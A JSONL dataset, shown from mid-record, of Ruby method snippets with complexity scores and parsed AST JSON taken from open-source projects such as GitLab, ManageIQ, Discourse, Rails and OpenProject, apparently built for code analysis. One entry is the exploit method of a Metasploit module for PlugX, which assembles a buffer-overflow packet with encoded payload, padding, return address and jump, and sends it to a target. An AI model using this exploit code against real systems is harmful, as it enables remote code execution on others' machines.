\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_shared\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_share_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection_db_config\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_shared_connection\",{\"type\":\"lvar\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection_name\"]}]}]}]}]}]}]}","id":"f2626715-d46c-4518-8f5c-324da5c56702"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_server_profile_template.rb","start_line":20,"raw_source":"def deploy_server_from_template_queue(server_id, profile_name)\n    task_opts = {\n      :action => \"Deploy server from profile template\",\n    }\n\n    queue_opts = {\n      :class_name  => self.class.name,\n      :method_name => 'deploy_server_from_template',\n      :instance_id => id,\n      :role        => 'ems_operations',\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :zone        => ext_management_system.my_zone,\n      :args        => [server_id, profile_name]\n    }\n\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deploy_server_from_template_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server_id\"]},{\"type\":\"arg\",\"children\":[\"profile_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"Deploy server from profile template\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"deploy_server_from_template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_id\"]},{\"type\":\"lvar\",\"children\":[\"profile_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"f2d2e5b4-f7f3-4f6b-8efb-12c23302a7c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/entry/bridge.rb","start_line":68,"raw_source":"def value\n            super.merge(\n              trigger: (trigger_value if trigger_defined?),\n              needs: (needs_value if needs_defined?),\n              ignore: ignored?,\n              when: self.when,\n              scheduling_type: needs_defined? && !bridge_needs ? :dag : :stage,\n              parallel: has_parallel? ? parallel_value : nil\n            ).compact\n          end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trigger_defined?\"]},{\"type\":\"send\",\"children\":[null,\"trigger_value\"]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"needs\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"needs_defined?\"]},{\"type\":\"send\",\"children\":[null,\"needs_value\"]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore\"]},{\"type\":\"send\",\"children\":[null,\"ignored?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"when\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheduling_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"needs_defined?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bridge_needs\"]},\"!\"]}]},{\"type\":\"sym\",\"children\":[\"dag\"]},{\"type\":\"sym\",\"children\":[\"stage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_parallel?\"]},{\"type\":\"send\",\"children\":[null,\"parallel_value\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},\"compact\"]}]}","id":"cd4db250-2396-4b55-a08a-fd70e524f14d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/app/models/post_policy.rb","start_line":60,"raw_source":"def accepted_policy_users\n    policy_users.accepted.with_version(version)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"accepted_policy_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"policy_users\"]},\"accepted\"]},\"with_version\",{\"type\":\"send\",\"children\":[null,\"version\"]}]}]}","id":"87188e2e-482f-45c4-8710-46a9e360fa09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/datateam.rb","start_line":35,"raw_source":"def data_warehouse_impact_files\n        @impacted_files ||= (metrics_added_files + metrics_changed_files + database_changed_files)\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data_warehouse_impact_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@impacted_files\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics_added_files\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"metrics_changed_files\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"database_changed_files\"]}]}]}]}]}","id":"756313e0-2ff0-4d2d-beae-658238605874"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_token.rb","start_line":130,"raw_source":"def has_access_to_group?(requested_group)\n    return false unless active?\n    return false unless group_type?\n    return false unless holder\n\n    holder.has_access_to_group?(requested_group)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_access_to_group?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"requested_group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"holder\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"holder\"]},\"has_access_to_group?\",{\"type\":\"lvar\",\"children\":[\"requested_group\"]}]}]}]}","id":"64682af6-7adb-45ff-9a9d-3d9565830a40"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/settings/project_phase_definitions_controller.rb","start_line":110,"raw_source":"def require_enterprise_token\n      render_402 unless allowed_to_customize_life_cycle?\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"require_enterprise_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_customize_life_cycle?\"]},null,{\"type\":\"send\",\"children\":[null,\"render_402\"]}]}]}","id":"8cc79eab-c097-468a-ac07-766f57b58ba1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/issuable_actions.rb","start_line":333,"raw_source":"def confidential_error_message\n          return unless quick_action_target.respond_to?(:confidentiality_errors)\n\n          quick_action_target.confidentiality_errors.join(\"\\n\")\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"confidential_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"confidentiality_errors\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"confidentiality_errors\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"8a0ae977-9b67-49ee-93be-30c0619012a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/plugx.rb","start_line":155,"raw_source":"def exploit\n    print_status(\"Trying target #{target.name}...\")\n\n    l = 0xF008\n    pad = 0x18\n    a = 0x004045c4\n    pktlen = l + pad + 9\n    jmp = \"\\xe9\" + [-pktlen].pack('I<')\n    key = rand(0xFFFFFFFF)\n    hh = [key, 0, 0, pktlen, pktlen, 0].pack('I<S<S<S<S<I<')\n    hdr = xor_wrap(key, hh)\n    pkt = [key].pack('I<') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('I<') + 'x' * pad + jmp\n\n    connect\n    sock.put(pkt)\n\n    print_status('Waiting for response')\n    validate_response(sock.get_once)\n    disconnect\n\n    handler\n  end","complexity_score":64.15,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pktlen\"]},\"-@\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<\"]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967295]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hh\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"pktlen\"]},{\"type\":\"lvar\",\"children\":[\"pktlen\"]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<S<S<S<S<I<\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hdr\",{\"type\":\"send\",\"children\":[null,\"xor_wrap\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"hh\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hdr\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[-1]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"size\"]}]}]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"I<\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"pad\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"jmp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"pkt\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Waiting for response\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"6f62ceae-c525-40da-8673-ed6c65c13211"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/rex/parser/fs/bitlocker_spec.rb","start_line":62,"raw_source":"def initialize(volume_header, fve_header)\n    @volume_header = volume_header\n    @fve_header = fve_header\n    @offset = 0\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"volume_header\"]},{\"type\":\"arg\",\"children\":[\"fve_header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@volume_header\",{\"type\":\"lvar\",\"children\":[\"volume_header\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fve_header\",{\"type\":\"lvar\",\"children\":[\"fve_header\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offset\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"a3dd3f43-086a-43f9-b802-6b510e57064f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/slack/block_kit/app_home_opened.rb","start_line":88,"raw_source":"def section_slash_commands_heading\n        section(\n          format(\n            s_(\"Slack|%{asterisk}Slash commands%{asterisk}\"),\n            asterisk: '*'\n          )\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"section_slash_commands_heading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"section\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Slack|%{asterisk}Slash commands%{asterisk}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"asterisk\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]}]}","id":"6bdb1c88-b0c7-417b-b22e-0e22079612e8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":524,"raw_source":"def write(data)\n          @sock.send(data, 0, @peeraddr[3], @peeraddr[1])\n        end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sock\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peeraddr\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peeraddr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"44100f4a-79e6-4a10-8af8-656a443246d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/group.rb","start_line":122,"raw_source":"def change_repository_storage(new_storage)\n        post_body = { destination_storage_name: new_storage }\n        response = post Runtime::API::Request.new(api_client, \"/groups/#{id}/repository_storage_moves\").url, post_body\n\n        unless response.code.between?(200, 300)\n          raise(\n            ResourceUpdateFailedError,\n            \"Could not change repository storage to #{new_storage}. Request returned (#{response.code}): `#{response}`.\"\n          )\n        end\n\n        wait_until(sleep_interval: 1) do\n          Runtime::API::RepositoryStorageMoves.has_status?(self, 'finished', new_storage)\n        end\n      rescue Support::Repeater::RepeaterConditionExceededError\n        raise(\n          Runtime::API::RepositoryStorageMoves::RepositoryStorageMovesError,\n          'Timed out while waiting for the group repository storage move to finish'\n        )\n      end","complexity_score":23.65,"ast_json":"{\"type\":\"def\",\"children\":[\"change_repository_storage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_storage\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"destination_storage_name\"]},{\"type\":\"lvar\",\"children\":[\"new_storage\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/groups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"/repository_storage_moves\"]}]}]},\"url\"]},{\"type\":\"lvar\",\"children\":[\"post_body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"between?\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[300]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResourceUpdateFailedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not change repository storage to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_storage\"]}]},{\"type\":\"str\",\"children\":[\". Request returned (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"): `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"str\",\"children\":[\"`.\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"RepositoryStorageMoves\"]},\"has_status?\",{\"type\":\"self\",\"children\":[]},{\"type\":\"str\",\"children\":[\"finished\"]},{\"type\":\"lvar\",\"children\":[\"new_storage\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Repeater\"]},\"RepeaterConditionExceededError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"RepositoryStorageMoves\"]},\"RepositoryStorageMovesError\"]},{\"type\":\"str\",\"children\":[\"Timed out while waiting for the group repository storage move to finish\"]}]}]},null]}]}","id":"78b0bbe8-fd87-4232-a8a8-51d4108ae825"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb","start_line":36,"raw_source":"def build_explain_clause(options = [])\n          return \"EXPLAIN\" if options.empty?\n\n          explain_clause = \"EXPLAIN #{options.join(\" \").upcase}\"\n\n          if analyze_without_explain? && explain_clause.include?(\"ANALYZE\")\n            explain_clause.sub(\"EXPLAIN \", \"\")\n          else\n            explain_clause\n          end\n        end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_explain_clause\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"explain_clause\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"upcase\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyze_without_explain?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explain_clause\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ANALYZE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explain_clause\"]},\"sub\",{\"type\":\"str\",\"children\":[\"EXPLAIN \"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"explain_clause\"]}]}]}]}","id":"011ae4bd-091a-4fe8-b174-41341d6bdf07"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/initializable_test.rb","start_line":332,"raw_source":"def collection(*names)\n        Class.new do\n          include Rails::Initializable\n          names.each { |name| initializer(name) { } }\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Initializable\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initializer\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]}]}","id":"97e4a948-c584-4047-8c92-7fa60083e184"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_permalink_form.rb","start_line":21,"raw_source":"def fill_in_category(category)\n        form.field(\"categoryId\").fill_in(category)\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_category\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"field\",{\"type\":\"str\",\"children\":[\"categoryId\"]}]},\"fill_in\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"8a66707b-183c-480a-8a6b-cb1fba1c2ae1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/project_members_helper.rb","start_line":4,"raw_source":"def project_members_app_data_json(...)\n    project_members_app_data(...).to_json\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_members_app_data_json\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_members_app_data\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"to_json\"]}]}","id":"36137763-e310-407a-b493-7eab56077538"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_tag_value.rb","start_line":48,"raw_source":"def self.build_from_performance_record(parent_perf, options = {})\n    RESOURCE_TYPE_TO_ASSOCIATIONS[parent_perf.resource_type].collect { |assoc| build_for_association(parent_perf, assoc, options) }.flatten\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_from_performance_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_perf\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RESOURCE_TYPE_TO_ASSOCIATIONS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_perf\"]},\"resource_type\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"send\",\"children\":[null,\"build_for_association\",{\"type\":\"lvar\",\"children\":[\"parent_perf\"]},{\"type\":\"lvar\",\"children\":[\"assoc\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},\"flatten\"]}]}","id":"ba1b4d46-9314-413b-9fb6-012e3b2bf37c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/group_member_type.rb","start_line":20,"raw_source":"def group\n      Gitlab::Graphql::Loaders::BatchModelLoader.new(Group, object.source_id).find\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Loaders\"]},\"BatchModelLoader\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"source_id\"]}]},\"find\"]}]}","id":"ffb4b991-f504-49b9-9d38-ec895a7ed546"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":310,"raw_source":"def unmark_query_favorite\n        page.find('[data-test-selector=\"project-query-unfavorite\"]').click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unmark_query_favorite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"project-query-unfavorite\\\"]\"]}]},\"click\"]}]}","id":"35c9410b-2124-4113-b267-b317b47a4b62"}
